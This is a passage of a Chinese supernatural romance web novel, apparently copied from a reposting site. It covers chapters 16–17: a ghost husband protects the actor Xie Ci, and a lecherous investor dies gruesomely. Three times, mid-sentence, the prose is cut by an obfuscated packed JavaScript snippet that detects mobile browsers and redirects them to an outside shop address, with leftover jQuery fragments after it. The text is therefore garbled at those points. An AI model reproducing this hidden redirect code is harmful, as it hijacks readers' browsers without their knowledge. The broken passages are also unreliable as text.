谈雪慈抱着那个牌位,一个人安静地在卧室里坐了一会儿,然后小声叫,“老公?” 没人回应。 他揉了揉眼睛,低头将白皙消瘦的下巴颏抵在牌位上,他就知道。 果然是梦啊。 - 他们到剧组时,翟放也在。 翟放昨天去医院被狗仔拍到,网上又吵得沸反盈天,说他肯定是去了整形科。 翟放之前那波公关很到位,现在几乎将他跟谈雪慈绑定了,只要有人说他整容,粉丝就会觉得又是谈雪慈在背后搞鬼,然后为了翟放冲锋陷阵,将谈雪慈骂个狗血淋头。 陆栖让谈雪慈把微博卸了,眼不见为净,反正他们也没别的办法。 谈雪慈望着翟放却愣了下。 翟放的脸才过去一天就又恢复如初,好像那些红肿疤痕都没存在过一样,但这不重要,谈雪慈蜷起手指,呼吸有点发抖。 翟放腿旁站着个小女孩。 小女孩穿了条小白裙,肤色惨青,看起来跟之前的小鬼差不多大,顶多三四岁的样子。 翟放察觉到背后的目光,他转过头,发现是谈雪慈,脸色顿时难看起来,但闻遥川还在剧组,他只冷笑了声就扭头离开。 陆栖见谈雪慈盯着翟放,连忙将他拉走,劝他说:“认命吧,咱们对付不了他。” “……不是,”谈雪慈抿了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16925450|191614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抿唇,手心冰凉,他知道自己会被当成精神病,但还是忍不住小声说,“我看到有个小孩跟着他……” 陆栖神情越发沉痛,“哥知道你委屈,但也不能说他养小鬼啊,就算他真养了,你也不能乱说,被他听到就死定了。” 谈雪慈茫然问:“什么是养小鬼?” “养小鬼嘛,”陆栖找了个没人的地方,坐下跟他说,“古曼童知道不,反正都差不多,在家里供奉小鬼,求财得财,求名得名。” 但这种管整容术后恢复的还是头一次见。 陆栖挠了挠下巴。 现在的小鬼业务这么广吗? “小鬼?”谈雪慈心里莫名咯噔了一下,追问陆栖,“陆……陆哥,这个怎么养?” 陆栖不怕谈雪慈养小鬼,毕竟谈雪慈怕鬼怕得要死,他就直接告诉了谈雪慈,“其实我也不太懂,但好像要拿到对方的尸体或者骨灰。” 谈雪慈:“……” 谈雪慈捂住了胸口的符袋。 “然后在家中供奉牌位。” 谈雪慈心虚地低头并了并脚尖。 “没事儿点几炷香拜一拜应该就行了吧。” 谈雪慈咽了下口水,越听越不对劲,他……他好像也在养小鬼,但贺恂夜已经不小了,都快三十了,他只是在养男鬼。 应该……没关系吧? 还有一个多小时才到谈雪慈的戏,陆栖出去接电话,谈雪慈就拿出本子练字。 他也不知道自己在想什么,反应过来时纸上已经写了贺睢的名字。 谈雪慈怔了下。 自从那天晚上以后,他就没再见过贺睢,贺睢也没有联系他。 他喜欢贺睢已经有十几年了,谈砚宁六岁多被谈父谈母收养,正好在家里待了半年,也到了上小学的年纪,谈父谈母就送他去读书。 谈砚宁跟贺睢在一个班,他们三个其实是同岁,贺睢比他俩稍微大几个月。 贺睢经常跟着阿砚到家里玩,有次谈雪慈趴在阁楼窗户看他们,被贺睢发现,贺睢问谈砚宁那是谁,谈砚宁说是二哥。 谈父是个很好面子的人,怕被人说他虐待谈雪慈,就放他出去跟贺睢他们玩了一会儿。 从那以后,每次贺睢过来,谈雪慈都能出去一小会儿。 贺睢并非纨绔,他成绩很好,从小到大一路名校,精通马术跟滑雪,相貌还很英俊,在谈雪慈被困的十几年里,他的世界阴雨连绵,只有贺睢是不同的,所有人都觉得,谈雪慈会暗恋贺睢是很正常的事。 就连学写字,谈雪慈也说想学贺睢的名字,但贺睢的名字很难写,他每次都把那个贺字写得东倒西歪,睢字又特别大一个。 他自己没觉得有问题,还跑去给贺睢看。 贺睢沉默了一会儿,突然低嗤出声,什么都没说,就摆摆手让谈雪慈走开。 他这辈子都没见过这么丑的字,尤其写的还是他的名字。 不知道的还以为在给他下咒呢。 谈雪慈抿起嘴,看着纸上贺睢的名字,他现在也写得不是很好,他本来想重写一遍,剧组却忽然闹哄哄的,好像有什么人来了,他好奇地抬头看了一眼,什么也没看到。 然而收回视线,就顿时一愣。 他刚写的贺睢的睢字,笔画乱七八糟地散在纸上,就像一个人被推了一把,从高处坠下,摔得头破血流、四分五裂一样。 16.逢魔时刻 谈雪慈突然背后一凉,明明只是个字而已,但看起来阴寒森冷,莫名恐怖。 他不敢写了,将那张纸揉成一团,正想找个垃圾桶扔掉,陆栖就急匆匆走过来,拉住他说:“徐总来了,快点跟我走。” 谈雪慈没来得及找到地方扔,只能顺手塞到卫衣前面的口袋里。 这个徐总就是翟放的金主,金曜娱乐的老板徐宗度,也是他们这部戏最大的投资方。 徐宗度今年五十多岁了,年轻时也是个演员,相貌算不上一等一的好,但演技出众,演的大部分都是配角反派,曾经拿过很多个最佳男配奖,十多年前开始淡圈,专心管理公司。 谈雪慈跟陆栖走过去时,徐宗度回头看到谈雪慈,觑起眼笑了笑说:“小慈来了。” “徐总。”谈雪慈只好打招呼。 翟放在旁边暗暗翻了个白眼,他实在没心情跟谈雪慈计较,脸没恢复好,不能拍戏还在其次,徐宗度给他发了消息说今天回国,他要是见到徐宗度还那个鬼样子,才是前途堪忧。 早知道就不应该一次性做那么多项目。 当时有个圈内朋友介绍他去市第一人民医院整形,说那个医生私底下售卖的一种药效果很好,有市无价,一药难求。 根本不用担心任何术后的后遗症。 他入行五年多,半红不红,年纪越来越大,徐宗度对他也越来越不上心,他就鬼迷心窍去找了那个医生。 谁知道对对方竟然管他要三十万。 翟放当时就觉得自己被坑了,而且那个药看着又黑又黏,闻起来还有股臭味,三十万只给了他三盒药,说吃三次就能恢复。 他病急乱投医,最后还是买了,没想到效果真的很好,他只吃了一次,脸上的红肿就悉数消失,完全看不出来动过刀子。 但只维持了不到一个月,前几天他的脸一夜之间垮掉,他本来觉得是谈雪慈那把破伞弄了他一脸黑水导致的,后面冷静想想,其实他的脸前一天就已经开始崩了。 翟放只能再去医院,又开了五十万的药。 就算他再有钱也禁不住这么花,他真的有点肉疼,还好药仍然管用,只是不知道为什么,这次吃完以后,身体很沉重乏力。 徐宗度几次跟他说话,他都没听见,徐宗度的唇角绷直了一点,脸色不太好看。 他包了翟放三年半,很腻味,却没找到其他人选,之前在夜总会碰到贺睢带谈雪慈去玩,他对谈雪慈很感兴趣,但谈雪慈对他的示好没任何反应,那个经纪人也一直打哈哈。 他实在……有点没耐心了。 其实翟放的事情很好解决,只要谈雪慈开口,他就会让公司停止再给翟放公关。 翟放在圈内得罪了不少人,用不着谈雪慈做什么,自然墙倒众人推。 可惜谈雪慈太年轻,还不懂权势的好处。 徐宗度退圈后偶尔还会客串一些角色,但不算多,也没怎么身材管理,腰肢丰满,雪白肥润,一看就把自己养得很好。 他笑盈盈地摆了摆手,说:“我随便看看,不耽误你们拍戏,都去忙吧。” 导演让副导作陪,然后就招呼演员们回去拍戏,看到谈雪慈时叫了他一声,“小谈。” “何导,”谈雪慈走过去问,“您找我有事?” 导演低声跟他说:“是这样,今晚跟你演对手戏的那个演员来不了了,徐总会客串一下,你晚上跟徐总搭戏就行。” 谈雪慈愣了下,他肤色苍白发透,衬得长睫水墨一样湿润乌黑,无措地说:“但晚上……” 导演只拍了拍他的肩膀,示意他识趣一点。 谈雪慈演的反派周遐一直被校园霸凌,很多高年级学生找他要钱,周遐又性格懦弱,家附近有个麻将店老板说愿意给他借三百块钱,周遐就借了,没想到那个老板是看上了他,几次威逼利诱,想跟周遐发生关系。 周遐到家只有奶奶的啰嗦压抑,在学校是个遭人白眼的另类,他的一生好像就没什么值得快乐的事,忍无可忍之下,他假装答应那个老板,然后下药将对方给杀了。 警察起初并没有找到他,女主毫不知情,还鼓励他将来一起上大学离开这个地方,但周遐知道他已经不会再有未来了,总之这件事激发了周遐内心更多的黑暗。 今晚要拍的就是周遐跟那个老板的对手戏。 “这老东西,”等导演走了,陆栖咬牙切齿地低骂说,“不就是想趁拍戏占你便宜吗?” 偏偏他们没法拒绝。 怎么拒绝呢,徐宗度只是看剧组缺人,帮忙客串一下而已,曾经的大腕给他们客串一个小角色,这是剧组的荣幸啊。 就算拍戏时对方真的动手动脚,谈雪慈也只能忍着,毕竟都是剧本需要而已。 陆栖叹了口气,说:“就当被狗咬了。” 谈雪慈也不可能退圈,他出来以后谈家就没再给过他钱,他在精神科每个月八千块钱的治疗费,都得自己承担。 陆栖都怀疑谈母可能就是在打这个主意,让谈雪慈没钱治病,自己发疯病死。 谈雪慈低下头,什么都没说,先去拍另外几场戏,拍完就到了傍晚。 他听说黄昏是逢魔时刻,鬼怪将要作祟。 谈雪慈拿着盒饭找了个角落吃。 吃完就要去拍那场戏了…… 谈雪慈深呼吸了一下,嘴里的饭都味如嚼蜡,傍晚天色黧黑,剧组暖黄的灯光照下来,将他小小的影子投在地上,显得形单影只。 他吃了一半,实在吃不下去了,低头对着影子揪了揪自己翘起的头发,那几根黑发晃来晃去,像小羊弯弯的犄角尖尖。 他压了几次都没压下去,有股莫名的委屈涌上来,眼眶也开始酸涩,小声抽了下鼻子,发顶却忽然被一只大手按了按。 对方的指骨冰冷,似乎无意地蹭过他耳尖。 谈雪慈抬起头时对上男人苍白俊美的脸,双眼陡然睁圆,映着剧组的灯光,像有细碎的星星一样,小声惊喜说:“贺先生?!” 贺恂夜原本抬起的唇角往下放了一点。 谈雪慈左右张望,离他十米远的地方有好几个工作人员,然而没人发现他旁边多了个人,只有他能看到贺恂夜。 他记得自己刚才有点困,在桌子上趴了一会儿,是睡着了吗……所以又梦到了贺恂夜。 但不管怎么样,他见到贺恂夜确实有点开心,想去拉一下贺恂夜的手,又不太敢。 贺恂夜见他眼巴巴地盯着自己,主动朝他伸出手,谈雪慈才小心翼翼地握上去。 陆哥果然没说错。 谈雪慈想。 贺先生真的能保佑他,总是在他难过害怕的时候出现。 贺恂夜的手冰凉阴冷,丝毫不温暖,但不知道为什么他眼眶比刚才还湿,忍了好几下都没忍住,眨眼的时候啪嗒掉下一滴眼泪来。 “怎么哭了?”贺恂夜沉黑晦暗的眸子垂下来,伸手摸了摸他湿漉漉的脸颊。 谈雪慈没吭声。 他本来就很瘦,在贺家那几天有人给他送饭吃,脸颊才勉强圆润了一点,这几天又消瘦下来,薄薄的面颊透着股难以消弭的病气,只有嘴唇嫣红饱满,看着让人有种凌辱欲。 他的盒饭就吃了一点点,吃了几块茄子,还有一小口米饭。 贺恂夜问他,“小雪,不喜欢吃这个吗?” “没有,老公,”谈雪慈左手还牵着贺恂夜,就拿另一只手擦眼泪,他还是头一次听到有人问他喜不喜欢吃什么,嗓音都软下来,他乖乖摇头,“喜欢的,我不是很饿。” 又叫老公了。 贺恂夜伸手摸了摸他瘪瘪的肚子,谈雪慈被他突然的动作吓了一跳,竟然肠鸣了下,肚子咕噜一声,他红着耳根抱住肚子不给摸。 “需要长胖一点。”贺恂夜拿起筷子,夹了块糖醋里脊喂给谈雪慈,有点意味不明地说。 他眸子是异于常人的浓黑,内眼眦浮起的血红看上去也有点古怪,好像随时会有血涌出来一样,带着阴郁鬼气。 谈雪慈莫名打了个颤,那块里脊已经递到唇边,他却不太敢吃。 总觉得贺恂夜语气也很古怪,就好像他是他养的小猪崽,养胖了就能被抱去吃掉一样。 “怎么了?”贺恂夜低下头,温柔关切地问。 贺恂夜肤色比冷玉更白,又长了双漆黑冷漠的桃花眼,威压迫人,并不是好接近的样子,但现在那双桃花眼刻意弯起来,谈雪慈没经过这种勾引场面,望着他呆呆地发不出声音。 他都做梦了,应该理直气壮一点。 在梦里让老公喂他吃东西有什么不可以! 他迟疑着张开嘴。 贺恂夜殷红的唇勾起,夸他说:“好乖。” 谈雪慈被夸得晕晕乎乎,不知不觉将晚饭都吃掉了,他吃饱了犯困,蜷在躺椅上看着旁边贺恂夜温柔的脸,竟然就这样睡了过去。 马上轮到他拍戏时,陆栖才将他叫醒。 餐盒被场务收走了,谈雪慈也不记得自己到底吃没吃过晚饭,只觉得肚子好像不太饿。 做梦真好啊。 不但有老公,而且还管饱。 他没顾得上多想,就跟着陆栖离开,也没注意到身后不远处,男人望着他夜幕底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929036|191614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下单薄的背影,也不徐不疾地跟了上来。 - “小谈,”导演见到谈雪慈,就跟他说,“你先跟徐老师对对戏。” 其实晚饭前已经对过,但导演这么说,谈雪慈就还是低头走过去。 “我没有逼你的意思,”徐宗度见谈雪慈不太主动,就像个谆谆教导的长辈一样劝诱他,“你年纪小,还不懂我能为你做多少事,就连贺睢都比不了,我听说你已经跟他分手了,那为什么不考虑开始一段新的感情呢。” “我很希望你能成为我的,”徐宗度望着谈雪慈微颤的眼睫,还有嫣红的唇肉,有点迷恋地说,“我也会是你的。” 没人想要你。 谈雪慈抿起嘴往旁边挪了一步。 徐宗度还想再开口,导演就已经叫人了,他朝谈雪慈温和鼓励地笑了一下,说:“我们先把今晚的拍摄完成吧。” 周遐在饭菜里下毒,还有麻将店老板吃饭的戏份都已经拍完了,只剩下对方强迫周遐,强迫到一半突然毒发身亡。 谈雪慈麻木地走过去站好,导演喊了开拍,他只能眼睁睁看着徐宗度靠近他。 好没用。 连保护自己都做不到。 谈雪慈有时候也会伤心,为什么没有一个人喜欢他呢,他是不是就应该待在医院再也不要出来,但有时候又觉得难怪没人喜欢他,这么没用,就连他自己也不喜欢自己。 他呼吸有点抖,不知道接下来会发生什么,徐宗度往前走的动作却戛然而止。 徐宗度瞳孔突然放大,僵硬在原地,甚至顾不上去看谈雪慈。 有只苍白修长,甲床血肉模糊的手朝他伸过来,对方指尖毫无停顿地插入他眼眶,指甲摩擦眶骨发出让人牙酸的声音,整只手都掏了进去,一直从他脑后探出,然后消失不见,只剩下黑漆漆的眶骨在往下流血,他嘴里大口大口吐出猩红的内脏碎片,却完全不能动弹。 他眼神充满恐惧地看向谈雪慈身后,其实他根本看不到谈雪慈,从他视角看过去,谈雪慈被一团黑雾紧紧缠绕住,什么都看不清。 他只能隐约看到有个很高大的男人从背后环抱着谈雪慈,对方的身影模糊,缥缈,殷红的唇张开,嗓音像鬼祟一样阴冷,好似浓雾笼罩,跟他说:“他不是你的,他是我的。” 谈雪慈也根本没顾得上看徐宗度,他刚站好,就感觉到有只冰冷大手从衣服下摆探入,沿着他晚饭后微微鼓起的小腹往上摸。 对方冷硬的指骨怜爱地在他鼓起的小肚子上停留了一下,然后就继续往上。 谈雪慈被吓了一跳,但对方的态度亲昵自然,让谈雪慈恍惚觉得自己就应该被它摸一样。 他的身体像被湿沉冰块浸透,冷得发抖,耳根却控制不住一点一点烧红起来,睫毛濡湿颤抖,双腿绵软,忍不住咬紧了嘴唇。 他放在卫衣口袋里的那张写了贺睢名字的纸,也在鬼祟的碰触下化成飞灰。 在谈雪慈看不到的地方,恶鬼从背后亲昵地环住他的腰,低头埋在他雪白的颈窝里深吸了一口气,尽管它已经不需要呼吸。 它不太懂,为什么能有人又乖又坏,昨天还在叫它老公,今天就写别人的名字。 但既然这么坏,欺负一下也没关系。 剧组其他人都只看到谈雪慈一直脸色苍白僵硬地站在原地,而徐宗度突然口吐鲜血,身体摇摇晃晃,连脸都青白了,死相格外逼真。 剧组围观的演员跟工作人员都点头赞叹。 不愧是拿过大奖的老演员。 死得真好哇。 只有导演疑惑了下,因为按剧本先有个借位的强吻镜头,然后才毒发身亡。 当然,原本是借位,换成徐宗度来演就不一定了,谈雪慈只需要配合。 怎么直接死了呢。 他还以为徐宗度突然又改了主意,直到对方摇摇晃晃倒在了地上,他才连忙喊卡。 这场戏拍完了,黑雾渐渐消弭,徐宗度也从地上爬了起来。 “徐老师。”导演陪笑着过去说话,徐宗度却没理会他,直直地往片场外走。 他愣了下,不知道徐宗度怎么突然心情不好了,但徐宗度向来脾气古怪,他也不敢打扰。 翟放死死瞪着谈雪慈,还以为谈雪慈惹到了徐宗度,连忙追出去。 徐宗度始终垂着头,他拖着沉重的双腿走到停车场,上了后座,翟放也推开车门,他夹着嗓子叫了声徐总,伸手搭上对方的肩膀,然而还没开口,脸色就顿时一片空白。 他的手刚搭上去,徐宗度的脑袋就从脖子上掉下来,骨碌碌地滚到了他脚边。 17.阴魂不散 谈雪慈被那双冰冷大手揽在怀里,他甚至能感觉到对方低下头,将整张脸都深深埋在他颈窝里贪婪地嗅闻,吐息湿冷又黏腻。 谈雪慈耳根滚烫,浑身都不自在起来,但他偏偏不能动,镜头还在拍,别说其他人,就连他自己也看不到对方的手,只是能感觉到。 现在乱动,肯定会打断拍摄,他只能任由对方将双手都搭在他腰窝上。 他睫毛控制不住地颤动,眼底也弥漫开濡湿的水雾,将眼圈洇红了一点。 谈雪慈得了很多年精神病,头一次这么确信自己应该真的是个精神病。 他疯了吧。 为什么会幻想自己被男人摸。 他呼吸都急促起来,睫毛湿答答的,脸色却白得像冰雪,在对方阴私下流的抚摸中红透了耳根,胸口剧烈起伏。 导演终于喊卡的时候他眼圈都被气红了,颤抖着就低头想掰开自己腰上那双手。 对方却故意似的,在被碰到之前主动放开了,消失得无影无踪。 谈雪慈好像一拳打在了棉花上,苍白侧颊蓦地冷沉下来,他脸上很少出现这么明显的类似于生气的情绪,陆栖看到都愣了下。 还以为他是被徐宗度那老男人给气的。 说起来,他本来以为徐宗度会趁拍戏对谈雪慈动手动脚,占点儿便宜,没想到就这么结束了,连抱都没抱一下。 陆栖挠了挠头。 总不至于就想找个地方死一死吧。 谈雪慈垮着小脸,他才发现自己卫衣兜里的那张纸也不见了,只剩下一堆灰。 他还得洗衣服! 谈雪慈正在低头拍灰,就突然听到外面传来一声凄厉的惨叫。 听起来很像翟放。 他们今晚在学校附近租了个麻将馆拍戏,已经晚上十点多了,翟放这声惨叫极具穿透力。 “怎么了?”导演连忙往外跑,“怎么了?” 翟放双腿发软,浑身冷汗地跌倒在车旁,徐宗度掉下来的人头就在他脚边,左眼被掏了个血窟窿,对方手段残忍,不知道用什么东西将徐宗度的眼眶都撑裂了,后脑豁开一个大洞,脑浆血淋淋白乎乎地流了一地。 剧组其他人也跟着导演跑过去,然后都一脸惊恐愣在原地,就连闻遥川都愣了一下。 翟放见其他人都在看他,嘴唇哆嗦着说:“跟我没关系!我也不知道怎么回事,我……” 他说着说着,突然意识到什么,转头指着谈雪慈怒道:“你干的!肯定是你干的!不然他怎么跟你拍完戏就变成这样了?!” 他这么说也没人信,毕竟都亲眼看到徐宗度自己离开的片场,当时明明还好好的。 京市连着下了一个月的雨,就算已经停了,晚上仍然冷风瑟瑟。 徐宗度的司机刚才去上了个厕所,跑过来看到老板死成这样,嗷一嗓子晕死过去。 剧组一下子忙乱起来,报警的报警,叫救护车的叫救护车。 警察很快赶到,检查完现场以后,就将剧组所有人都带回警局,配合调查。 翟放被吓懵了,腿软到走不动路。 跟在他身后的那个小女鬼蹲在地上,嘻笑着伸手推徐宗度的脑袋,将里面剩下的脑浆都晃了出来,只剩个肥白的头壳。 麻将馆里有监控,徐宗度的车上也有行车记录仪,事情的全过程都被拍了下来。 谈雪慈跟徐宗度说过几句话,但没有肢体接触,也没有作案时间。 徐宗度在片场看起来还很正常,虽然吐了血,但剧组给过他血包,他口腔也有残留的碎片,证明他用过,所以这不能说明什么。 离开片场,诡异的事情才发生了,徐宗度自己上了车,他上车以后就垂着头,行车记录仪没有拍到他的脸,然后中间没有出现任何人,直到翟放过去,徐宗度脑袋掉了下来。 简直像是鬼干的。 警察挨个询问了一晚上,法医尸检结果也出来了,说徐宗度是心源性猝死。 他心肌收缩带坏死,瞳孔散大,表情惊恐,很可能是被吓死然后又被人切掉了脑袋。 那个断面异常光滑平整,是像切肥油一样一刀下去细腻切开。 现在问题来了,到底是谁把徐宗度吓死的。 警察又看了遍今晚拍的戏,然后抬起头对上谈雪慈苍白姣好,怯怯弱弱的脸。 警察:“……” 说句不太好听的话,谈雪慈看起来比徐宗度更容易被吓死。 剧组所有人的嫌疑逐个排除,但经过调查,翟放跟徐宗度金钱往来很频繁,似乎有暧昧关系,于是快天亮时其他人都被放走了,翟放还需要继续留下来配合调查。 翟放一晚上就憔悴了很多,警察问他什么,他都很神经质地说肯定是谈雪慈干的。 他脑子现在乱得很。 徐宗度死了? 怎么就突然死了? 那他怎么办。 谈雪慈忍不住偷看,那个穿白裙的小女鬼一直跟着翟放,她捏了捏旁边孟栀包包上的白色毛球,然后又搂住翟放的脖子挂在他背上,不知道累了还是饿了,突然裂开嘴哭起来。 翟放似乎听到有什么声音,但回过头又没看到人,很焦躁地使劲揉了几下头发。 那个小女鬼沿着翟放的肩膀爬上去,骑在他脖子上,指甲也又尖又黑,她扯住翟放的脸,扯得耷拉下来,然后撕下一条红红的肉。 谈雪慈苍白着脸,捂住喉咙,有点想吐的冲动,再抬起头时,翟放的脸还是好好的,并没有流血,但看起来好像确实下垂了一点。 陆栖见他脸色这么难看,就说:“不行,还是得去医院。” 谈雪慈这次没拒绝,经过几个晚上,他已经没那么害怕了,而且他的药没了。 他记得那天晚上他拿起过一瓶,但第二天起来不管眼珠还是药,地上什么都没有,他就把药的事情忘了,要吃的时候才想起来,他问陆栖,陆栖说去的时候没看到地上有东西。 他的药凭空消失。 谈雪慈雪上加霜,天都塌了,这些人不是要他屁股的命,就是要他钱包的命。 他跟着陆栖离开警局,蔫答答地上了车。 谈雪慈的病很麻烦,经常跑医院,但陆栖倒没什么怨言,主要谈雪慈救过他一次。 他之前陪其他艺人去跟资方吃饭,在桌上替艺人挡酒,让谈雪慈在旁边麦当当等他。 等把几个老总都送走了,他本来想上趟厕所再去找谈雪慈,结果晕倒在了厕所里,还是谈雪慈等了很久没等到,然后去找他的。 他有个很严重的颅内海绵状血管瘤,自己不知道,当时情况紧急,医生直接给做了手术。 医院联系不到陆栖的家人,他的手术费住院费都是谈雪慈出的。 谈雪慈虽然从小住院,但谈家毕竟有钱有佣人,他没自己办过手续,而且当时刚出门不到三个月,什么都不懂,不说话还行,接触多了别人就能感觉到他不对劲。 陆栖昏迷了三天,他都不知道谈雪慈是怎么独自跑来跑去给他办住院的,他醒来就见谈雪慈趴在病床旁边,双眼红彤彤望着他。 谈雪慈拍那部鬼片只赚了几千块,毕竟他是个出场没几分钟的炮灰,电影又本身只是个粗制滥造的小制作。 就算加上几个广告跟拍杂志的钱,谈雪慈手里也只有不到三万。 之前还被人假装粉丝给骗了,对方给谈雪慈微博发私信,说自己去世的爸,瘫痪的妈,年幼的弟,破碎的她,谈雪慈就给转了一万。 转完过了一天没收到回复,谈雪慈还抱着他的破手机慢吞吞打字问是不是不够呀。 陆栖发现他那几天总玩手机,拿过去一看,才发现他被骗钱了,赶紧带着他报警,但对方的账户在海外,基本没希望追回来。 老天。 陆栖不知道该说什么好。 谈雪慈的药很贵,自己治病都没钱,吃麻辣烫都舍不得加鱼丸 ,结果给他花了一万多,当时身上就剩十几块钱了。 谈雪慈还小声问他,“陆哥,你会死吗?” 陆栖:“……” 他今年三十七岁,早年在小公司当文员,被辞退以后转行当艺人助理,又当经纪人,到现在没结婚没存款,要什么没什么,他父母离婚多年,父亲已经去世,母亲七十多岁,早有了新家庭,他们已经十几年没联系过。 他住院了,只有谈雪慈会拿出全部积蓄给他,还眼泪巴巴地问他会不会死。 关键是他对谈雪慈也不好,就在他住院前三天,他还带谈雪慈去见那个禁忌猪呢。 他也就是跟谈雪慈多说了几句话,带他去吃了顿麻辣烫,没有不理他而已。 是个很可怜的小孩。 陆栖想。 - 到了医院,这次终于见到了解医生。 解云是京市第一医院精神科一把手,治疗精神分裂领域当之无愧的大拿,他的治疗室门口常年挂着一副双头蛇缠绕手杖的黑白挂画。 谈雪慈小时候很怕那条蛇,当时解云将双手搭在他小小的肩头,还很温和地跟他解释说:“小慈,这是阿斯克勒庇俄斯之杖,能庇佑你疾病痊愈,得到新生。” 解云今天看起来很正常,他长相俊雅,属于患者看了会安心的类型,但谈雪慈想到那个长满了眼睛的解云就心有余悸。 再来一次他真的要死了。 好在解云并没有长出多余的眼睛,他听谈雪慈说完,忍不住皱了下眉,“这样看起来确实有加重,小慈,我还是建议你住院治疗,但实在没办法的话……这样吧,医院来了种新药,我给你换药试试,之前那种给你开的药量已经很大了,就算没效果,也不能再加了。” 谈雪慈点头答应下来,他去做了个全身体检,又做了这周的治疗,转眼就到晚上,解云给他开了半个月的药,他花了三千多。 有个药还没配好,陆栖将其他的递给谈雪慈,让他在走廊坐着等,自己去给他取药。 谈雪慈提着鼓鼓囊囊一袋子药,正打算转身坐下,然而一回头,就对上了贺恂夜死气沉沉苍白的脸,近在咫尺,他被吓得浑身一凉。 谈雪慈咽了咽口水,“老……老公?” “小雪生病了吗?”贺恂夜手掌宽大,比谈雪慈的手大了一圈,能将他冰凉的双手都拢在掌心里,俊美的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933335|191614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸上仍然挂着虚假温柔的笑。 直到男人阴寒的体温悉数传来。 雪上加霜的谈雪慈彻底被冻成了雪人。 谈雪慈:“……” 贺恂夜:“……” 贺恂夜感觉到谈雪慈在他手里一哆嗦,沉默片刻,缓缓放开了手,让他坐在椅子上,然后去拿医院的纸杯给他倒了杯热水。 谈雪慈捧着热水,小口小口地喝,脸上也有了红润血色。 贺恂夜在他旁边坐下,低头拿着他的药看,男人是很阴郁深邃的长相,漆黑的桃花眼嵌在夜幕中,鼻梁都镀着冷暗的光。 谈雪慈悄悄挪了挪,靠近他一点,两个人衣角碰在一起,他将小脸也凑过去,眼巴巴地问:“老公,药有什么不对吗?” “没有,”贺恂夜又笑起来,他语气很亲昵。 谈雪慈感受过强烈尖锐的厌恶,完全彻底的冷漠,但没有见过恶鬼装模作样,态度含糊,目的不明的温柔。 他小声跟贺恂夜说自己的药很贵,虽然陆栖还了钱,但他已经花完了,现在身上就只有八十多块,去吃麻辣烫都不能加鱼丸。 谈雪慈的下颌雪白消瘦,显得他的脸都没有贺恂夜巴掌大,他眼型并不算圆,是有点拖长阴媚的,但人总是怯生生,瞧着不像在上班,像什么小动物伪装人类,给自己打猎回家。 让人看到他就觉得,他好像不适合这里,应该活得很吃力很辛苦。 谈雪慈凑在贺恂夜旁边,嘀嘀咕咕地什么都跟他说,贺恂夜对他笑,他也忍不住弯眼睛。 他最羡慕的就是别人生病都有家人陪,他从小都是一个人住院,虽然张妈会给他陪床,但那只是工作而已,他也不好意思找张妈说话。 陆栖不会每次陪他来,他大部分时间都是一个人看病,这还是头一次有人这样陪他。 贺恂夜边听他说话,边拿起他的药倒了几颗在掌心里,大概十分钟以后,掌心渐渐溃烂成了黑色,他漆黑的眸子垂下来,情绪不明。 谈雪慈没注意到他在干什么,说着说着,就将自己的手往贺恂夜手心里塞。 恶鬼一顿,抬起头看向他。 谈雪慈本来冰凉的小手在杯子上捂热了,现在暖烘烘的,他生怕人家不要似的,小声怯怯说:“老……老公,给你暖手。” 他捂了很久,感觉够热了才递给贺恂夜的。 贺恂夜没拒绝,很理所当然地握住。 谈雪慈忍不住晃了晃小腿,虽然他老公长得像个鬼似的,但就算是鬼,肯定也是正经的好鬼,跟他在片场碰到的那种变态鬼可不一样。 想到那些鬼,谈雪慈的小腿不晃了,他挨着贺恂夜小声问:“老公,你说我会好起来吗?” 恶鬼是不懂怜悯的,贺恂夜看着他湿漉漉的漂亮脸蛋,眸色晦暗了一点,谈雪慈无知无觉,将自己靠近恶鬼的怀抱,于是恶鬼温柔启唇,给了他一个想要的答案,说:“会的。” 谈雪慈有点高兴,但只高兴了一小会儿,嘴巴又扁扁的,跟贺恂夜说:“但是我没有钱了,下次不知道什么时候能来医院。” 他现在每天吃三顿药,还能逃避一会儿,不用看到幻觉,等药都吃完……他不确定自己能在那种情况下活几天。 贺恂夜转过头,恶鬼冰冷殷红的唇张开,语气发凉,问他,“贺家没给你钱?” “没……没有。”谈雪慈懵懵。 只有几个金镯子,但是他换掉嫁衣的时候,镯子跟衣服都被收走了,只给他留下了老公的遗照和牌位。 “好,”贺恂夜说,“我知道了。” 谈雪慈小脸茫然,不知道贺恂夜知道了什么,他揉了揉眼睛,已经到了吃药时间,他就想先吃完药,再跟贺恂夜说话。 他匆匆拧开药瓶,倒出来几颗药吃掉,然而一回头,弯弯的眼睛顿时愣住。 